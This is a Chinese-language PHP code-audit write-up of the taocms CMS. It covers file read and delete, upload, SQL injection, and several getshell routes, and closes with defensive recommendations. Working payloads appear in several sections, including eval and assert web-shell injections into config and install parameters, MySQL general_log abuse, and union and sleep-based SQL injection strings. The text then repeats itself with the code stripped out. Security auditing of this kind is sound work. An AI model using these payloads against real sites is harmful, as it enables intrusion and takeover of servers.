PHP代码审计之taocms
字数 1460 2025-08-25 22:58:28

PHP代码审计之taocms漏洞分析与利用

环境搭建

首先需要搭建taocms系统环境,该系统有两个主要路由文件:

  • 前台路由:api.php
  • 后台路由:admin.php(添加了session校验)

在common.php中:

  • 22行代码调用__autoload()魔术方法加载Model文件夹下的功能代码
  • 30行去除get_magic_quotes_gpc()方法对特殊字符加载的反斜杠,提高代码兼容性

路由分析

系统路由处理机制:

  • 传入两个参数ctrlaction
  • action参数首字母转换为大写(因为类名首字母大写)
  • 判断该类是否为ApiComment

后台路由代码(admin.php)与前台路由类似,但添加了session校验。

漏洞审计

1. 任意文件读取/下载

漏洞位置Model/file.php中的download()方法

漏洞代码

file_get_contents() // 参数可控且无过滤

利用条件

  1. 参数可控
  2. 需要配合echo等输出函数(虽然这里没有回显,但可以下载文件)

漏洞复现
构造路由:

action=file&ctrl=download

2. 任意文件上传

漏洞位置

  1. 常规上传功能:executeupload()方法调用Upload类的upload()方法
  2. 创建文件功能:create()方法

限制与绕过

  • 上传白名单($upext)限制了可上传后缀
  • 但创建文件功能没有限制文件类型

利用方法

  1. 通过创建文件功能创建.php文件
  2. 使用save()方法写入恶意内容

3. MySQL日志文件getshell

漏洞位置Sql类下的excute()方法

漏洞代码

$sqltext = $_POST['sqltext']; // 直接执行用户输入的SQL
$this->db->query($sqltext);

利用方法(MySQL 5.6.34+):

set global general_log = on;
set global general_log_file = '网站绝对路径';

4. 通过修改配置文件getshell

漏洞位置:后台"网站设置"功能

漏洞原理

  1. 直接修改config.php文件
  2. safeword()过滤函数可被绕过(当数据库为Sqlite时)

绕过方法
输入\'会被替换为'',第一个引号前的反斜杠可闭合前面的引号

Payload

\');@eval($_REQUEST[1]);/*

5. 缓存文件getshell

漏洞位置cms_category表内容控制缓存文件

利用步骤

  1. 通过"管理栏目"功能插入恶意内容
  2. 内容会被写入缓存文件cat_array.inc
  3. 访问包含该文件的路由执行代码

6. SQL注入

未过滤的危险方法

  • delist
  • getquery
  • updatelist
  • get_one
  • getlist

注入点示例

  1. delist方法:id参数未过滤
    27) or 1=1#
    
  2. getlist方法:where参数未过滤
    1 or sleep(5)%23
    
  3. lists方法:name参数过滤不严
    test'+or+sleep(2)%23
    

验证方法
使用延时注入确认:

sleep(5)

7. install处getshell

漏洞位置:安装过程中db_name参数处理

利用方法

db_name=|127.0.0.1:3306|root|123456|taocms|');assert($_REQUEST['cmd']);//

8. 任意文件删除

漏洞位置File类的del方法

POC

?action=file&ctrl=del&path=filepath

利用方法
结合目录穿越删除任意文件

9. SQL注入(二次分析)

POC示例

?name=-1%"+union+select+group_concat(table_name)+from+information_schema.tables+where+table_schema%3ddatabase()%23&cat=0&status=&action=cms&ctrl=lists&submit=%E6%9F%A5%E8%AF%A2

漏洞原理
namecatstatus参数都未充分过滤,直接拼接到SQL查询中

防御建议

  1. 对所有用户输入进行严格过滤和转义
  2. 使用预处理语句防止SQL注入
  3. 文件操作前检查路径合法性
  4. 上传功能实施严格的白名单限制
  5. 配置文件修改添加更严格的权限控制
  6. 禁用危险函数如assertsystem
  7. 日志文件不应存放在web目录下

参考资源

  1. 先知社区原文
  2. Butian分享
  3. Anyun安全文章
PHP代码审计之taocms漏洞分析与利用 环境搭建 首先需要搭建taocms系统环境,该系统有两个主要路由文件: 前台路由:api.php 后台路由:admin.php(添加了session校验) 在common.php中: 22行代码调用 __autoload() 魔术方法加载Model文件夹下的功能代码 30行去除 get_magic_quotes_gpc() 方法对特殊字符加载的反斜杠,提高代码兼容性 路由分析 系统路由处理机制: 传入两个参数 ctrl 和 action 将 action 参数首字母转换为大写(因为类名首字母大写) 判断该类是否为 Api 或 Comment 后台路由代码(admin.php)与前台路由类似,但添加了session校验。 漏洞审计 1. 任意文件读取/下载 漏洞位置 : Model/file.php 中的 download() 方法 漏洞代码 : 利用条件 : 参数可控 需要配合echo等输出函数(虽然这里没有回显,但可以下载文件) 漏洞复现 : 构造路由: 2. 任意文件上传 漏洞位置 : 常规上传功能: executeupload() 方法调用 Upload 类的 upload() 方法 创建文件功能: create() 方法 限制与绕过 : 上传白名单( $upext )限制了可上传后缀 但创建文件功能没有限制文件类型 利用方法 : 通过创建文件功能创建.php文件 使用 save() 方法写入恶意内容 3. MySQL日志文件getshell 漏洞位置 : Sql 类下的 excute() 方法 漏洞代码 : 利用方法 (MySQL 5.6.34+): 4. 通过修改配置文件getshell 漏洞位置 :后台"网站设置"功能 漏洞原理 : 直接修改config.php文件 safeword() 过滤函数可被绕过(当数据库为Sqlite时) 绕过方法 : 输入 \' 会被替换为 '' ,第一个引号前的反斜杠可闭合前面的引号 Payload : 5. 缓存文件getshell 漏洞位置 : cms_category 表内容控制缓存文件 利用步骤 : 通过"管理栏目"功能插入恶意内容 内容会被写入缓存文件 cat_array.inc 访问包含该文件的路由执行代码 6. SQL注入 未过滤的危险方法 : delist getquery updatelist get_one getlist 注入点示例 : delist 方法: id 参数未过滤 getlist 方法: where 参数未过滤 lists 方法: name 参数过滤不严 验证方法 : 使用延时注入确认: 7. install处getshell 漏洞位置 :安装过程中 db_name 参数处理 利用方法 : 8. 任意文件删除 漏洞位置 : File 类的 del 方法 POC : 利用方法 : 结合目录穿越删除任意文件 9. SQL注入(二次分析) POC示例 : 漏洞原理 : name 、 cat 、 status 参数都未充分过滤,直接拼接到SQL查询中 防御建议 对所有用户输入进行严格过滤和转义 使用预处理语句防止SQL注入 文件操作前检查路径合法性 上传功能实施严格的白名单限制 配置文件修改添加更严格的权限控制 禁用危险函数如 assert 、 system 等 日志文件不应存放在web目录下 参考资源 先知社区原文 Butian分享 Anyun安全文章